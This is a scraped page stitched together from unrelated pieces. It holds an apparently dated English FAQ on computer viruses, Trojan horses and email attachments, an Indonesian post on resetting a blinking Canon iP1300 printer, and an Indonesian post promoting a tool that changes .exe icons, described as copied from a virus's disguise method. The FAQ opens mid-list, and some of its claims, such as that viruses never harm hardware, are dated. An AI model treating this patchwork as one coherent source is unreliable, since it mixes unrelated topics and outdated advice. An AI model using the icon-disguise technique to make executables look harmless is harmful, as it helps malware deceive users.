A computer virus is a program designed to spread itself by first infecting executable files or the system areas of hard and floppy disks and then making copies of itself. Viruses usually operate without the knowledge or desire of the computer user.

2. What kind of files can spread viruses?

Viruses have the potential to infect any type of executable code, not just the files that are commonly called 'program files'. For example, some viruses infect executable code in the boot sector of floppy disks or in system areas of hard drives. Another type of virus, known as a 'macro' virus, can infectword processing and spreadsheet documents that use macros. And it's possible for HTML documents containing JavaScript or other types of executable code to spread viruses or other malicious code.

Since virus code must be executed to have any effect, files that the computer treats as pure data are safe. This includes graphics and sound files such as .gif, .jpg, .mp3, .wav, etc., as well as plain text in .txt files. For example, just viewing picture files won't infect your computer with a virus. The virus code has to be in a form, such as an .exe program file or a Word .doc file, that the computer will actually try to execute.

3. How do viruses spread?

When you execute program code that's infected by a virus, the virus code will also run and try to infect other programs, either on the same computer or on other computers connected to it over a network . And the newly infected programs will try to infect yet more programs.

When you share a copy of an infected file with other computer users, running the file may also infect their computers; and files from those computers may spread the infection to yet more computers. If your computer is infected with a boot sector virus, the virus tries to write copies of itself to the system areas of floppy disks and hard disks. Then the infected floppy disks may infect other computers that boot from them, and the virus copy on the hard disk will try to infect still more floppies. Some viruses, known as 'multipartite' viruses, can spread both by infecting files and by infecting the boot areas of floppy disks.

4. What do viruses do to computers?
Viruses are software programs, and they can do the same things as any other programs running on a computer. The actual effect of any particular virus depends on how it was programmed by the person who wrote the virus.

Some viruses are deliberately designed to damage files or otherwise interfere with your computer's operation, while others don't do anything but try to spread themselves around. But even the ones that just spread themselves are harmful, since they damage files and may cause other problems in the process of spreading.

Note that viruses can't do any damage to hardware: they won't melt down your CPU, burn out your hard drive, cause your monitor to explode, etc. Warnings about viruses that will physically destroy your computer are usually hoaxes, not legitimate virus warnings.

5. What is a Trojan horse program?

A type of program that is often confused with viruses is a 'Trojan horse' program. This is not a virus, but simply a program (often harmful) that pretends to be something else.
For example, you might download what you think is a new game; but when you run it, it deletes files on your hard drive. Or the third time you start the game, the program E-mails your saved passwords to another person.

Note: simply downloading a file to your computer won't activate a virus or Trojan horse; you have to execute the code in the file to trigger it. This could mean running a program file, or opening a Word/Excel document in a program (such as Word or Excel) that can execute any macros in the document.

6. What's the story on viruses and E-mail?

You can't get a virus just by reading a plain-text E-mail message or Usenet post. What you have to watch out for are encoded messages containing embedded executable code (i.e., JavaScript in an HTML message) or messages that include an executable file attachment (i.e., an encoded program file or a Word document containing macros).

In order to activate a virus or Trojan horse program, your computer has to execute some type of code. This could be a program attached to an E-mail, a Word document you downloaded from the Internet, or something received on a floppy disk. There's no special hazard in files attached to Usenet posts or E-mail messages: they're no more dangerous than any other file.

7. What can I do to reduce the chance of getting viruses from E-mail?

Treat any file attachments that might contain executable code as carefully as you would any other new files: save the attachment to disk and then check it with an up-to-date virus scanner before opening the file.

If your E-mail or news software has the ability to automatically execute JavaScript, Word macros, or other executable code contained in or attached to a message, I strongly recommend that you disable this feature.

My personal feeling is that if an executable file shows up unexpectedly attached to an E-mail, you should delete it unless you can positively verify what it is, who it came from, and why it was sent to you.

The recent outbreak of the Melissa virus was a vivid demonstration of the need to be extremely careful when you receive E-mail with attached files or documents. Just because an E-mail appears to come from someone you trust, this does NOT mean the file is safe or that the supposed sender had anything to do with it.

Kode Blinking Canon IP1300

2009-01-17T08:00:00.000+07:00

Blinking, Indikator Kedap-kedip ketika Printer dinyalakan, Biasanya penyakit ini melanda Canon iP1200, iP1300, iP1600, iP1700, i255,

Solusi Ringan, maksudnya solusi ini harus anda lakukan setiap kali anda menyalakan printer, sebab langkah ini hanya bersifat sementara. Ketika printer anda terputus dari arus listrik, maka blinking akan kembali muncul. Tapi, nggak ada salahnya ada lakukan langkah ini, bila anda belum familiar dengan cara-cara mereset printer menggunakan software.

* Lepaskan kabel power dari printer anda.
* Tekan terus tombol Power, sambil anda memasang kembali kabel power.
* Indikator power akan kelihatan menyala berwarna kuning.
* Lepaskan tombol power, ketika anda selesai memasang kabel power.
* Kemudian tekan lagi tombol power, untuk menyalakan printer anda.
* Dipastikan printer anda tidak blinking lagi. Namun ketika printer anda terputus dari arus listrik, maka blinking ini akan muncul, dan anda tinggal ulangi langkah diatas.

Merubah Icon .exe

2008-05-08T20:07:00.000+07:00

Icon Changer '

ini adalah aplikasi untuk merubah suatu icon aplikasi...
Metode merubah icon ini diadaptasi oleh virus chasnah, yaitu dengan cara merubah-ubah icon virus tersebut menjadi sesuai nama yang diinginkanya..

Source code akan menyusul pada posting berikutnya..

Caranya sangat mudah..
setelah kamu download Icon Changer Disini.
extract, dan jalankan aplikasinya..

tinggal select file exe yang akan dirubah iconnya,

kemudian cring..cring... berubah...